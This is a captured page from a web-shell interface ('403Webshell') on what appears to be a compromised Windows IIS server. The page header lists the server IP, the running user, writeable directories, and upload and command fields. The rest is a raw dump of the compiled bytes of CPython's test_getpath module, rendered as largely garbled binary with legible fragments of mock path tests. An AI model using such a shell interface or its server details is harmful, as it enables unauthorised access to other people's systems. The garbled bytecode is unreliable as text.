403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.70
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/test/__pycache__/test_getpath.cpython-313.pyc
�

��i+����SSKrSSKrSSKrSSKrSSKrSSKJr \R"\5R5RRRS-R5r"SS\R 5r\"S?0SS_S	S_S
S_SS_SS_S
S_SS_SS_SS_SS_SS_SS_SS_SS_SS_SS_SS_SS_SS_SS_SS_SS_S S_6r\"S?0S!S_S"S_S#S_S$S_S%S_S&S_S'S_S(S_S)S_S*S_S+S_S,S_S-S_S.S_S/S_S0S_S1S_S2S_S3S4_S5S4_6r"S6S7\5r"S8S95r"S:S;\5rS@S<jrS@S=jrS>rg!\
a SSKJr \"5rN�f=f)A�N)�verbosezModules/getpath.py)�get_getpath_codeobjectc�^�\rSrSrU4SjrSrSrSrSrSr	Sr
S	rS
rSr
SrS
rSrSrSrSrSrSrSrSrSrSrSrSrSrSrSrU=r$)�MockGetPathTests�c�4>�[TU]"U0UD6 SUlg�N)�super�__init__�maxDiff)�self�a�kw�	__class__s   ��&C:\Python313\\Lib\test\test_getpath.pyr�MockGetPathTests.__init__s���
���!�"�r�"����c	���[SSS9nURS5 URS5 URS5 [	SSSSS/SQS9n[X5nUR
X#5 g	)
z,Test a 'standard' install layout on Windows.�C:\Python\python.exe��argv0�real_executable�C:\Python\Lib\os.py�C:\Python\DLLs�	C:\Python���C:\Python\python98.zipr�
C:\Python\Libr��
executable�base_executable�prefix�exec_prefix�module_search_paths_set�module_search_pathsN��MockNTNamespace�add_known_xfile�add_known_file�
add_known_dir�dict�getpath�assertEqual�r
�ns�expected�actuals    r�test_normal_win32�"MockGetPathTests.test_normal_win32sy��
�)�3�
��	���2�3�
���0�1�
���*�+��.�3��$�$%�!�

����&������*rc���[SSS9nURS5 URS5 URSS/5 [SSSSSSS/SQS	9n[	X5nURX#5 g
)z(Test an in-build-tree layout on Windows.�#C:\CPython\PCbuild\amd64\python.exer�C:\CPython\Lib\os.py�'C:\CPython\PCbuild\amd64\pybuilddir.txt��
C:\CPythonr�z%C:\CPython\PCbuild\amd64\python98.zipzC:\CPython\PCbuild\amd64�C:\CPython\Lib�r!r"r#r$�build_prefix�_is_python_buildr%r&N�r(r)r*r,r-r.r/s    r�test_buildtree_win32�%MockGetPathTests.test_buildtree_win320s���
�8�B�
��	���A�B�
���1�2�
���D�r�d�K��=�B� �%�&��$%�!�

����&������*rc�$�[SSSS9nURS5 URS5 URS5 URS5 URSS/5 [	SSSSSSS	/S
QS9n[X5nUR
X#5 g)
z�Test a venv layout on Windows.

This layout is discovered by the presence of %__PYVENV_LAUNCHER__%,
specifying the original launcher executable. site.py is responsible
for updating prefix and exec_prefix.
rzC:\venv\Scripts\python.exe)r�ENV___PYVENV_LAUNCHER__rrrzC:\venv\pyvenv.cfgzhome = C:\Pythonrrr�r!r#r$r"�base_prefix�base_exec_prefixr%r&Nr'r/s    r�test_venv_win32� MockGetPathTests.test_venv_win32Js����)�$A�3�
��
	���2�3�
���8�9�
���0�1�
���*�+�
���/��2
�	��4��$�3�$�)�$%�!�
����&������*rc��Sn[USUS3SUS3S05n[SSUS9nURS5 URS	5 UR	S
5 [S/SQS
9n[
X45nURXE5 SUSS'SUSS'SUSS'[S/SQS
9n[
X45nURXE5 g)z�Test registry lookup on Windows.

On Windows there are registry entries that are intended for other
applications to register search paths.
z1HKLM\Software\Python\PythonCore\9.8-XY\PythonPathNz\Path1�	path1-dirz
\Path1\Subdirznot-subdirsr)rr�winregrrr)rrKrrr)r%r&r�config�use_environmentr%r&r)�
MockWinregr(r)r*r+r,r-r.)r
�hkeyrLr0r1r2s      r�test_registry_win32�$MockGetPathTests.test_registry_win32os���D����$��f�G��k��f�O�$�m�
���
�)�3��
��
	���2�3�
���0�1�
���*�+��$%�!�

����&������*�*+��8��&�'�23��8��.�/�.2��8��*�+��$%�!�
����&������*rc	��[SSS9nURS5 URS5 URSS5 URS5 UR	S5 [SSSSS/SQS	9n[
X5nURX#5 g
)z8Test a 'standard' install layout via symlink on Windows.�C:\LinkedFrom\python.exerrrrrrrr N)r(r)�add_known_linkr*r+r,r-r.r/s    r�test_symlink_normal_win32�*MockGetPathTests.test_symlink_normal_win32�s���
�-�3�
��	���6�7�
���2�3�
���5�7N�O�
���0�1�
���*�+��2�7��$�$%�!�

����&������*rc�$�[SSS9nURS5 URS5 URSS5 URS5 URSS/5 [	SSSSSSS/S	QS
9n[X5nUR
X#5 g)z4Test an in-build-tree layout via symlink on Windows.rTr6rr7r8r9r:rr;r=N)r(r)rUr*r,r-r.r/s    r�test_symlink_buildtree_win32�-MockGetPathTests.test_symlink_buildtree_win32�s���
�-�B�
��	���6�7�
���A�B�
���5�7]�^�
���1�2�
���D�r�d�K��2�7� �%�&��$%�!�

����&������*rc���[SSSS9nURS5 URS5 URSS/5 [SSSSSSS/S	QS
9n[	X5nURX#5 g)zETest an out-of-build-tree layout on Windows with PYTHONHOME override.zC:\Out\python.exer:)rr�ENV_PYTHONHOMEr7zC:\Out\pybuilddir.txtr9zC:\r)zC:\Out\python98.zipzC:\Outr<r=Nr@r/s    r�test_buildtree_pythonhome_win32�0MockGetPathTests.test_buildtree_pythonhome_win32�s���
�&�0�(�
��
	���/�0�
���1�2�
���2�R�D�9��+�0� �%� ��$%�!�
��"��&������*rc	��[SSS9nURS5 URS5 [SSSSS/SQS9n[	X5nURX#5 g)	z0Test a layout on Windows with no DLLs directory.rrrrr)rrrr Nr@r/s    r�test_no_dlls_win32�#MockGetPathTests.test_no_dlls_win32�sj��
�)�3�
��	���2�3�
���0�1��.�3��$�$%�!�

����&������*rc	���[SSSS9nURS5 URS5 URS5 [	SSSSS/S	QS
9n[X5nUR
X#5 g)z(Test a 'standard' install layout on *nix�/usr�python�/usr/bin��PREFIXr�ENV_PATH�/usr/bin/python�/usr/lib/python9.8/os.py�/usr/lib/python9.8/lib-dynloadr�z/usr/lib/python98.zipz/usr/lib/python9.8rkr N��MockPosixNamespacer)r*r+r,r-r.r/s    r�test_normal_posix�"MockGetPathTests.test_normal_posixs|��
����
��
	���,�-�
���4�5�
���9�:��(�-���$%�!�

����&������*rc�"�[SSS9nURS5 URS5 URSS/5 URS5 URS5 [	SSSSS	S
S
/SQS9n[X5nUR
X#5 g
)��Test an in-build-tree layout on POSIX.

This layout is discovered from the presence of pybuilddir.txt, which
contains the relative path from the executable's directory to the
platstdlib path.
�/home/cpython/python�
/usr/local�rrg�/usr/local/bin/python�/home/cpython/pybuilddir.txt�build/lib.linux-x86_64-9.8�/home/cpython/Lib/os.py�/home/cpython/lib-dynload�
/home/cpythonr��/usr/local/lib/python98.zip�/home/cpython/Libz(/home/cpython/build/lib.linux-x86_64-9.8�r!r#r$r"r>r?r%r&Nrmr/s    r�test_buildpath_posix�%MockGetPathTests.test_buildpath_posix%s��� �)��
��	���1�2�
���2�3�
���8�;W�:X�Y�
���3�4�
���4�5��-��$�2�(��$%�!�

����&������*rc�$�[SSSS9nURS5 URS5 URS5 URS5 URS	S
/5 [	SSSSSSS/SQS
9n[X5nUR
X#5 g)�Test a venv layout on *nix.rdrc�/venv/bin:/usr/bin�rrgrhri�/venv/bin/pythonrjrk�/venv/pyvenv.cfg�home = /usr/binrrlrENrmr/s    r�test_venv_posix� MockGetPathTests.test_venv_posixFs���
���)�
��
	���,�-�
���-�.�
���4�5�
���9�:�
���,��/
�	��)���-��#�$%�!�

����&������*rc�H�[SSSS9nURS5 URS5 URSS5 URS5 UR	S5 URS	S
/5 [SSSSSSS/SQS
9n[
X5nURX#5 g)r�rdrcr�r�z/usr/bin/python3r�rjrkr�r�rrlrEN�rnr)rUr*r+r,r-r.r/s    r�test_venv_changed_name_posix�-MockGetPathTests.test_venv_changed_name_posixes���
���)�
��
	���-�.�
���-�.�
���,�.@�A�
���4�5�
���9�:�
���,��/
�	��)���.��#�$%�!�

����&������*rc�H�[SSSS9nURS5 URS5 URSS5 URS5 UR	S5 URSS	/5 [SS
S
SS
S
S/SQS
9n[
X5nURX#5 g)zCTest a venv created from non-installed python has correct zip path.r�rcr�r�z!/path/to/non-installed/bin/pythonz*/path/to/non-installed/lib/python9.8/os.py�0/path/to/non-installed/lib/python9.8/lib-dynloadr�zhome = /path/to/non-installedz/path/to/non-installedr)z'/path/to/non-installed/lib/python98.zipz$/path/to/non-installed/lib/python9.8r�rENr�r/s    r�&test_venv_non_installed_zip_path_posix�7MockGetPathTests.test_venv_non_installed_zip_path_posix�s���
�$��)�
��
	���>�?�
���-�.�
���,�=�	?�
���F�G�
���K�L�
���,�,�/
�	��)�+�0�?�0�5�$%�!�

����&������*rc�$�[SSSS9nURS5 URS5 URS5 URS5 URS	S
/5 [	SSSSSSS/SQS
9n[X5nUR
X#5 g)zETest a venv --copies layout on *nix that lacks a distributed 'python'rdrcr�r�z/usr/bin/python9r�rjrkr�r�rrlrENrmr/s    r�!test_venv_changed_name_copy_posix�2MockGetPathTests.test_venv_changed_name_copy_posix�s���
���)�
��
	���-�.�
���-�.�
���4�5�
���9�:�
���,��/
�	��)���.��#�$%�!�

����&������*rc	��[SSS9nURS5 URS5 URSS5 URS5 UR	S5 [SSSSS/SQS	9n[
X5nURX#5 g
)z4Test a 'standard' install layout via symlink on *nixrc�/linkfrom/python)rgrrirjrkrrlr Nr�r/s    r�test_symlink_normal_posix�*MockGetPathTests.test_symlink_normal_posix�s���
��$�
��	���-�.�
���,�-�
���,�.?�@�
���4�5�
���9�:��)�.���$%�!�

����&������*rc�h�[SSS9nURS5 URS5 URSS5 URS5 URSS/5 URS5 UR	S	5 [SSSSS
SS/SQS
9n[
X5nURX#5 g)rrr�rtrursrvrwrxryrzr{rr|rNr�r/s    r�test_symlink_buildpath_posix�-MockGetPathTests.test_symlink_buildpath_posix�s��� �%��
��	���-�.�
���1�2�
���,�.D�E�
���2�3�
���8�;W�:X�Y�
���3�4�
���4�5��)��$�.�(��$%�!�

����&������*rc	���[SSSS9nURS5 URS5 URS5 [	SSSSS/S	QS
9n[X5nUR
X#5 g)z.Test an install with custom platlibdir on *nixrcr��lib64)rgr�
PLATLIBDIRriz/usr/lib64/python9.8/os.py� /usr/lib64/python9.8/lib-dynloadr)z/usr/lib64/python98.zipz/usr/lib64/python9.8r�r Nrmr/s    r�test_custom_platlibdir_posix�-MockGetPathTests.test_custom_platlibdir_posixs|��
��$��
��
	���,�-�
���6�7�
���;�<��)�.���$%�!�

����&������*rc��[SSSSSSSSS9nURS5 URS5 URS5 URS	5 [	SSSSSSS/S
QS9n[X5nUR
X#5 g)
zuTest framework layout on macOS

This layout is primarily detected using a compile-time option
(WITH_NEXT_FRAMEWORK).
�darwin�\/Library/Frameworks/Python.framework/Versions/9.8/Resources/Python.app/Contents/MacOS/Pythonr�1/Library/Frameworks/Python.framework/Versions/9.8�?/Library/Frameworks/Python.framework/Versions/9.8/bin/python9.8�8/Library/Frameworks/Python.framework/Versions/9.8/Python��os_namer�WITH_NEXT_FRAMEWORKrg�EXEC_PREFIXrDr�library�K/Library/Frameworks/Python.framework/Versions/9.8/lib/python9.8/lib-dynload�E/Library/Frameworks/Python.framework/Versions/9.8/lib/python9.8/os.py�zB/Library/Frameworks/Python.framework/Versions/9.8/lib/python98.zipz?/Library/Frameworks/Python.framework/Versions/9.8/lib/python9.8r�rEN)rnr)r+r*r,r-r.r/s    r�test_framework_macos�%MockGetPathTests.test_framework_macoss��� ��p� !�F�K�$e�z�N�	
��	���y�z�
���\�]�
���f�g�
���a�b�
�X�F�K�]�K�P�$%�!�

����&������*rc��[SSSSSSSSSSSSSS9
nURS5 URS5 URS	5 URS
5 [SSSSSSS/SQS9n[	X5nURX#5 g)
z�Test framework layout on macOS with alternate framework name

``--with-framework-name=DebugPython``

This layout is primarily detected using a compile-time option
(WITH_NEXT_FRAMEWORK).
�f/Library/Frameworks/DebugPython.framework/Versions/9.8/Resources/Python.app/Contents/MacOS/DebugPythonr�r�6/Library/Frameworks/DebugPython.framework/Versions/9.8�D/Library/Frameworks/DebugPython.framework/Versions/9.8/bin/python9.8�B/Library/Frameworks/DebugPython.framework/Versions/9.8/DebugPythonN)
rr�r�rgr�rDrr��
PYTHONPATHr\�ENV_PYTHONEXECUTABLE�executable_dir�
py_setpath�P/Library/Frameworks/DebugPython.framework/Versions/9.8/lib/python9.8/lib-dynload�J/Library/Frameworks/DebugPython.framework/Versions/9.8/lib/python9.8/os.py�zG/Library/Frameworks/DebugPython.framework/Versions/9.8/lib/python98.zipzD/Library/Frameworks/DebugPython.framework/Versions/9.8/lib/python9.8r�rE)rnr)r+r,r-r.r/s    r�test_alt_framework_macos�)MockGetPathTests.test_alt_framework_macosDs��� �z�� !�K�P�$j�E�X���!%���
��	���D�	E�
���a�b�
���k�l�
���g�h��]�K�P�b�P�U�$%�!�

����&������*rc��Sn[SSSSSUS3SSS9nURU5 URUS	35 URUS
35 URUS35 URUS35 URS5 URS5 URS
5 URS5 URUS3S/5 [	US3SSSSSS/SQS9n[X#5nUR
X45 g)z<Test a venv layout on macOS using a framework build
        �/tmp/workdir/venvr�r�rr��/bin/pythonr�r��/bin�/lib�/lib/python9.8r�r�r��/pyvenv.cfgz<home = /Library/Frameworks/Python.framework/Versions/9.8/binr�rEN�rnr+r)r*r,r-r.�r
�	venv_pathr0r1r2s     r�test_venv_framework_macos�*MockGetPathTests.test_venv_framework_macosss8��(�	�
��p� !�F�K�'0�k��$=�z�N�	
��	����#�
���I�;�d�+�,�
���I�;�d�+�,�
���I�;�n�5�6�
���i�[��4�5�
���y�z�
���\�]�
���f�g�
���b�c�
���Y�K�{�3�J�6
�	��#��K�0�F�K�]�K�P�$%�!�

����&������*rc��Sn[SSSSSUS3SSS9nURU5 URUS	35 URUS
35 URUS35 URUS35 URS5 URS5 URS
5 URS5 URUS3S/5 [	US3SSSSSS/SQS9n[X#5nUR
X45 g)z[Test a venv layout on macOS using a framework build

``--with-framework-name=DebugPython``
r�r�r�rr�r�r�r�r�r�r�r�r�r�r�zAhome = /Library/Frameworks/DebugPython.framework/Versions/9.8/binr�rENr�r�s     r�test_venv_alt_framework_macos�.MockGetPathTests.test_venv_alt_framework_macos�sA��
(�	�
��z� !�K�P�'0�k��$=�E�X�	
��	����#�
���I�;�d�+�,�
���I�;�d�+�,�
���I�;�n�5�6�
���i�[��4�5�
���D�	E�
���a�b�
���k�l�
���g�h�
���Y�K�{�3�O�6
�	��#��K�0�K�P�b�P�U�$%�!�

����&������*rc�(�[SSSSSS9nURS5 URS5 URS5 URS5 URSS	/5 [	SSSSSSS
/SQS9n[X5nUR
X#5 g
)z�Test a venv layout on macOS.

This layout is discovered when 'executable' and 'real_executable' match,
but $__PYVENV_LAUNCHER__ has been set to the original process.
r�rircz/framework/Python9.8/python)r�rrgrDrrjrkz/framework/Python9.8/pyvenv.cfgr�rrlrENrmr/s    r�test_venv_macos� MockGetPathTests.test_venv_macos�s��� ��#��$A�-�
��	���,�-�
���8�9�
���4�5�
���9�:�
���;��>
�	��4���-��#�$%�!�

����&������*rc	�"�[SSSSSS9nURS5 URS5 URSS5 URS5 UR	S	5 [SSSSS
/SQS9n[
X5nURX#5 g
)z5Test a 'standard' install layout via symlink on macOSr�rcrd�/linkfrom:/usr/binr�)r�rgrrhrrirjrkrrlr Nr�r/s    r�test_symlink_normal_macos�*MockGetPathTests.test_symlink_normal_macos�s���
����)�.�

��	���-�.�
���,�-�
���,�.?�@�
���4�5�
���9�:��)�.���$%�!�

����&������*rc�n�[SSSSSS9nURS5 URS5 URSS5 URS5 URS	S
/5 URS5 UR	S5 [SSSSS
SS/SQS9n[
X5nURX#5 g)z�Test an in-build-tree layout via symlink on macOS.

This layout is discovered from the presence of pybuilddir.txt, which
contains the relative path from the executable's directory to the
platstdlib path.
r�rdr�rtr�)r�rrhrgrrsrvrwzbuild/lib.macos-9.8ryrzr{r)r}r~z!/home/cpython/build/lib.macos-9.8rNr�r/s    r�test_symlink_buildpath_macos�-MockGetPathTests.test_symlink_buildpath_macoss��� ���)��.�

��	���-�.�
���1�2�
���,�.D�E�
���2�3�
���8�;P�:Q�R�
���3�4�
���4�5��)��$�.�(��$%�!�

����&������*rc�t�[SSSS9nSUSS'[SS9n[X5nURX#5 g	)
z>Test the explicitly set stdlib_dir in the config is respected.rcrdrerfz/custom_stdlib_dirrM�
stdlib_dir)r�N)rnr,r-r.r/s    r�test_explicitly_set_stdlib_dir�/MockGetPathTests.test_explicitly_set_stdlib_dir5sL��
����
��
&:��8��\�"��+�
����&������*r)r) �__name__�
__module__�__qualname__�__firstlineno__rr3rArHrQrVrYr]r`ror�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r��__static_attributes__�
__classcell__�rs@rrrs�����+�2+�4#+�J/+�b+�6+�8+�<+�.+�2+�B+�>+�@+�B+�>+�4!+�F+�2'+�R-+�^)+�V++�Z#+�J+�<%+�N+�+rrrgr9r�r��VPATHr��
PYDEBUGEXT�
VERSION_MAJOR�	�
VERSION_MINOR��
ABI_THREAD�PYWINVER�
EXE_SUFFIXrhr\r�rDrr�rr�r�rLr>�venv_prefix�home�
platlibdir�
pythonpath�program_namer#r$rFrGr!r"r��platstdlib_dirr&r%�pythonpath_env�argv�	orig_argv�isolatedrNr�use_sitec�^�\rSrSrSSS.U4SjjrSSjrSrSrSrS	r	S
r
SrSrS
r
SrSrSrSrSrSrSrSSjrSrSrU=r$)r(iyN�rrMc�D>�UR[5 [R5US'SUS'SUS'SUS'SUS	'[TU]"U0UD6 U(a	U/USS
'U(aUSRU5 0Ul0Ul[5Ul	/Ul
g)NrM�ntr��DLLsr�z9.8-XYr�z..\..r�r�)�update�DEFAULT_NAMESPACE�DEFAULT_CONFIG�copyr
r�_files�_links�set�_dirs�	_warnings�r
rrMrrrs     �rr�MockNTNamespace.__init__zs�������%�&�'�,�,�.��X����Y��#��\��#��Z�� ��W�
�
���!�"�r�"��+0�'�D��N�;�'����N�!�!�&�)��������U��
���rc��[U=(d S5URUR5'URUR	S5S5 g)N��\r)�listr�casefoldr+�
rpartition�r
�path�liness   rr*�MockNTNamespace.add_known_file�s;��'+�E�K�R�'8����D�M�M�O�$����4�?�?�4�0��3�4rc�&�URU5 gr	)r*�r
rs  rr)�MockNTNamespace.add_known_xfile�s�����D�!rc�<�X RUR5'gr	)rr
�r
r�targets   rrU�MockNTNamespace.add_known_link�s��'-���D�M�M�O�$rc���URS5R5nU(a9URRU5 UR	S5SnU(aM8gg)Nrr)�rstripr
r�addr�r
r�ps   rr+�MockNTNamespace.add_known_dir�sF���K�K���&�&�(����J�J�N�N�1�����T�"�1�%�A��arc�N�[X5$![a
 [U5Sef=fr	��getattr�AttributeError�KeyError�r
�keys  r�__missing__�MockNTNamespace.__missing__��-��	*��4�%�%���	*��3�-�T�)�	*���

�$c�V�URU5(aU$URSU5$)NzC:\Absolute��isabs�joinpathrs  r�abspath�MockNTNamespace.abspath�s'���:�:�d����K��}�}�^�T�2�2rc�*�URS5S$)Nr��rrs  r�basename�MockNTNamespace.basename�s�����t�$�Q�'�'rc�h�URS5RS5SnUSSS:XaUS-$U$)Nrrr�:�rr)r
r�names   r�dirname�MockNTNamespace.dirname�s<���{�{�4� �+�+�D�1�!�4�����8�s�?��$�;���rc�\�UR5RUR55$r	)r
�endswith�r
r�suffixs   r�	hassuffix�MockNTNamespace.hassuffix�s ���}�}��'�'����(9�:�:rc��USSS:H$)Nr�z:\r
rs  rr-�MockNTNamespace.isabs�s���A�a�y�E�!�!rc�l�[(a
[SUS5 UR5UR;$�N�Check ifzis a dir)r�printr
rrs  r�isdir�MockNTNamespace.isdir�s(���7��*�d�J�/��}�}��$�*�*�,�,rc�l�[(a
[SUS5 UR5UR;$�NrGz	is a file)rrHr
rrs  r�isfile�MockNTNamespace.isfile�s(���7��*�d�K�0��}�}��$�+�+�-�-rc���[(a
[SUS5 UR5nXR;=(a% UR	S5SSR5:H$�NrGzis a module�.r2�py�rrHr
rrrs  r�ismodule�MockNTNamespace.ismodule�sI���7��*�d�M�2��}�}����{�{�"�Q�t���s�';�A�'>�$�-�-�/�'Q�Qrc���[(a
[SUS5 UR5nXR;=(a% UR	S5SSR5:H$)NrGzis a executablerQr2�exerSrs  r�isxfile�MockNTNamespace.isxfile�sK���7��*�d�$5�6��}�}����{�{�"�R�t���s�';�A�'>�%�.�.�BR�'R�Rrc�P�[R"[R"U65$r	)�ntpath�normpath�joinrs  rr.�MockNTNamespace.joinpath�s�����v�{�{�D�1�2�2rc�r�URUR5$![a
 [U5Sef=fr	)rr
r$�FileNotFoundErrorrs  r�	readlines�MockNTNamespace.readlines�s8��	4��;�;�t�}�}��/�/���	4�#�D�)�t�3�	4�s��6c�J�[(a[SU5 URUR5nUc[5nOUR5U;a[
S5eURUR55 URX25$![a Us$f=f�NzRead link fromz
circular link)	rrHrr
r$r�OSErrorr�realpath�r
r�_trail�links    rrf�MockNTNamespace.realpath�s����7��"�D�)�	��;�;�t�}�}��/�D��>��U�F�
�]�]�_��
&��/�*�*��
�
�4�=�=�?�#��}�}�T�*�*���	��K�	�s�B�B"�!B"c�h�URRU5 [(a[U5 ggr	�r�appendrrH�r
�messages  r�warn�MockNTNamespace.warn��%�������g�&��7��'�N�r)rrrrr	�r�r�r�r�rr*r)rUr+r'r/r4r:r@r-rIrMrTrXr.rarfrpr�r�r�s@rr(r(yss���!%�d���"5�"�.�&�*�3�
(��;�"�-�
.�
R�S�3�4�+��rr(c�L�\rSrSrSrSrSrSrSrSr	Sr
S	rS
rSr
Srg
)rOi��HKLM�HKCUc��UR5VVs0sHup#UR5U_M snnUl0Ulgs snnfr	)�itemsr
�keys�open)r
ry�k�vs    rr�MockWinreg.__init__�s6��15����>����Q�Z�Z�\�1�_��>��	���	��?s�Ac��g)Nz<MockWinreg>r
�r
s r�__repr__�MockWinreg.__repr__�s��rc�,�[U[U55$r	)�
isinstance�type)r
�others  r�__eq__�MockWinreg.__eq__�s���%��d��,�,rc�,�[UR5$r	)rrzrs r�	open_keys�MockWinreg.open_keys�s���D�I�I��rc���[(a[SUSUS35 USU3R5nX0R;a.URRUS5S-URU'U$[
5e)Nz
OpenKeyEx(�, �)rrr)rrHr
ryrz�getr`)r
rP�subkeyr&s    r�	OpenKeyEx�MockWinreg.OpenKeyEx�sp���7��J�t�f�B�v�h�a�0�1���b���!�*�*�,���)�)��!�Y�Y�]�]�3��2�Q�6�D�I�I�c�N��J��!�!rc��[(a[SUS35 UR5nXR;a[	S5eURU==S-ss'URU(dURU	gg)Nz	CloseKey(r��key is not openr)rrHr
rz�RuntimeError)r
rPs  r�CloseKey�MockWinreg.CloseKeysf���7��I�d�V�1�%�&��}�}����y�y� ��0�1�1��	�	�$��1����y�y����	�	�$��rc���[(a[SUSUS35 UR5nXR;a[	S5eUS3n[UR5Vs/sH(oDRU5(dMU[U5SPM* nnUVs/sH
nSU;dMUPM snUSS&[U5HupgXb:XdMURU5s $ [S5es snfs snf)NzEnumKey(r�r�r�rzend of enumeration)rrHr
rzr��sortedry�
startswith�len�	enumerate�removeprefixre)r
rP�ir#r{�subkeys�j�ns        r�EnumKey�MockWinreg.EnumKeys����7��H�T�F�"�Q�C�q�)�*��}�}����y�y� ��0�1�1��6����,2�4�9�9�,=�V�,=�q���f�AU�?�1�S��[�\�?�,=��V�!(�:��A�D��M�a��:���
��g�&�D�A��v��~�~�f�-�-�'��*�+�+��W��:s�$C*�C*�
C/�'C/c��[(a[SUSUS35 UR5nXR;a[	S5eU(aUR5nUSU3nUR
U$![a [5ef=f)NzQueryValue(r�r�r�r)rrHr
rzr�ryr$re)r
rPr�s   r�
QueryValue�MockWinreg.QueryValues����7��K��v�R��x�q�1�2��}�}����y�y� ��0�1�1���_�_�&�F��V�2�f�X�&�D�	��9�9�T�?�"���	��)�O�	�s�'A6�6B)ryrzN)r�r�r�r��HKEY_LOCAL_MACHINE�HKEY_CURRENT_USERrr�r�r�r�r�r�r�r�r
rrrOrO�s6��������-��"� �,�rrOc�^�\rSrSrSSS.U4SjjrSSjrSrSrSrS	r	S
r
SrSrS
r
SrSrSrSrSrSrSrSSjrSrSrU=r$)rni)Nr�c�X>�UR[5 [R5US'SUS'SUS'SUS'[TU]"U0UD6 U(a	U/USS'U(aUSRU5 0Ul[5Ul0Ul	[5Ul
/Ulg)	NrM�posixr��libr�rr�r�)r�r�rrr
rrr�_xfilesrrrrs     �rr�MockPosixNamespace.__init__*s�������%�&�'�,�,�.��X��!��Y��"��\��&'��
"�#�
���!�"�r�"��+0�'�D��N�;�'����N�!�!�&�)�����u�������U��
���rc��[U=(d S5URU'URURS5S5 g)Nr
�/r)rrr+rrs   rr*�!MockPosixNamespace.add_known_file;s5�� ���"�-����D�����4�?�?�3�/��2�3rc�\�URU5 URRU5 gr	)r*r�rrs  rr)�"MockPosixNamespace.add_known_xfile?s"�����D�!�������rc� �X RU'gr	)rrs   rrU�!MockPosixNamespace.add_known_linkCs��"���D�rc��URS5nU(a9URRU5 URS5SnU(aM8gg�Nr�r)rrrrrs   rr+� MockPosixNamespace.add_known_dirFs=���K�K������J�J�N�N�1�����S�!�!�$�A��arc�N�[X5$![a
 [U5Sef=fr	r!r%s  rr'�MockPosixNamespace.__missing__Lr)r*c�V�URU5(aU$URSU5$)Nz	/Absoluter,rs  rr/�MockPosixNamespace.abspathRs'���:�:�d����K��}�}�[�$�/�/rc�*�URS5S$)Nr�r2r3rs  rr4�MockPosixNamespace.basenameWs�����s�#�A�&�&rc�H�URS5RS5S$r�r8rs  rr:�MockPosixNamespace.dirnameZs!���{�{�3��*�*�3�/��2�2rc�$�URU5$r	)r=r>s   rr@�MockPosixNamespace.hassuffix]s���}�}�V�$�$rc��USSS:H$)Nrrr�r
rs  rr-�MockPosixNamespace.isabs`s���A�a�y�C��rc�N�[(a
[SUS5 XR;$rF)rrHrrs  rrI�MockPosixNamespace.isdircs ���7��*�d�J�/��z�z�!�!rc�N�[(a
[SUS5 XR;$rL)rrHrrs  rrM�MockPosixNamespace.isfilehs ���7��*�d�K�0��{�{�"�"rc��[(a
[SUS5 XR;=(a URS5SS:H$rP)rrHrrrs  rrT�MockPosixNamespace.ismodulems8���7��*�d�M�2��{�{�"�F�t���s�';�A�'>�$�'F�Frc�N�[(a
[SUS5 XR;$)NrGzis an xfile)rrHr�rs  rrX�MockPosixNamespace.isxfilers ���7��*�d�M�2��|�|�#�#rc�P�[R"[R"U65$r	)�	posixpathr\r]rs  rr.�MockPosixNamespace.joinpathws���!�!�)�.�.�$�"7�8�8rc�V�URU$![a
 [U5Sef=fr	)rr$r`rs  rra�MockPosixNamespace.readlineszs2��	4��;�;�t�$�$���	4�#�D�)�t�3�	4�s��(c���[(a[SU5 URUnUc[	5nOX2;a[S5eUR
U5 URX25$![a Us$f=frd)rrHrr$rrerrfrgs    rrf�MockPosixNamespace.realpath�st���7��"�D�)�	��;�;�t�$�D��>��U�F�
�^��/�*�*��
�
�4���}�}�T�*�*���	��K�	�s�A(�(A7�6A7c�h�URRU5 [(a[U5 ggr	rlrns  rrp�MockPosixNamespace.warn�rrr)rrrrr�r	rsr�s@rrnrn)sr���!%�d���"4��#�%�*�0�
'�3�%� �"�
#�
G�
$�
9�4�+��rrnc
��/n[U5HPnUSSS:XaMUS:Xa[XXSS9 M%XA;dM,XX:wdM8URX@UX45 MR U(dg[SU55nS[	U5S-U--n[
(akUHdupGnU(a-[
SRX$RU5XvU55 M:[
S	RX$RU5U55 Mf gg)
Nr2�__rM�r#c3�@# �UHun n[U5v� M g7fr	�r�)�.0r{�_s   r�	<genexpr>�diff_dict.<locals>.<genexpr>�s���+�d�7�1�a���A���d�s�� rz{}.{} -{!r}
{} +{!r}z{}.{} +{!r})	r��	diff_dictrm�maxr�rrH�format�ljust)	�before�afterr#�diffr{�max_k�indent�brs	         rr�r��s���
�D�
�F�^���R�a�5�D�=����=��f�i���(�;���:�%�(�f�i�/��K�K��1�I�u�x�0�1�����+�d�+�+�E�
�C��K�!�O�e�+�
,�F��w��G�A�!���-�4�4�V�W�W�U�^�Q�XY�Z�[��m�*�*�6�7�7�5�>�1�E�F�	�rc
��[(aU(dg[SU55n[UR5SS9H�upEUSSS:XaMUS:Xa[	XXSS9 M'XPU:wa/[SR
X$RU5XPU55 M_[S	R
X$RU5U55 M� g![a N;f=f)
Nc3�8# �UHn[U5v� M g7fr	r�)r�r{s  rr��dump_dict.<locals>.<genexpr>�s���&��1��A����s�c��US$)Nrr
)r�s r�<lambda>�dump_dict.<locals>.<lambda>�s��A�a�Dr)r&r2r�rMr�z{}.{} {!r} (was {!r})z
{}.{} {!r})	rr�r�rx�	dump_dictrHr�r�r$)r�r�r#r�r{r|s      rr�r��s����7�%���&��&�&�E��u�{�{�}�.�9����R�a�5�D�=����=��f�i���(�;��	��1�I�~��-�4�4�V�W�W�U�^�Q�WX�PY�Z�[���
	�l�!�!�&�'�'�%�.�!�<�=�:���	��	�s�'5C�
C�Cc�P�[R"U5nSn[[U5 SnU(a[	X 5 O[X 5 UVs0sH'nX@SR
X@R
US55_M) sn$!U(a[	X 5 f[X 5 f=fs snf)NTFrM.)r�deepcopy�exec�SOURCEr�r�r�)r0ryr��failedr{s     rr-r-�s���
�]�]�2�
�F�
�F�"��V�R������f�!��f�!����A�	
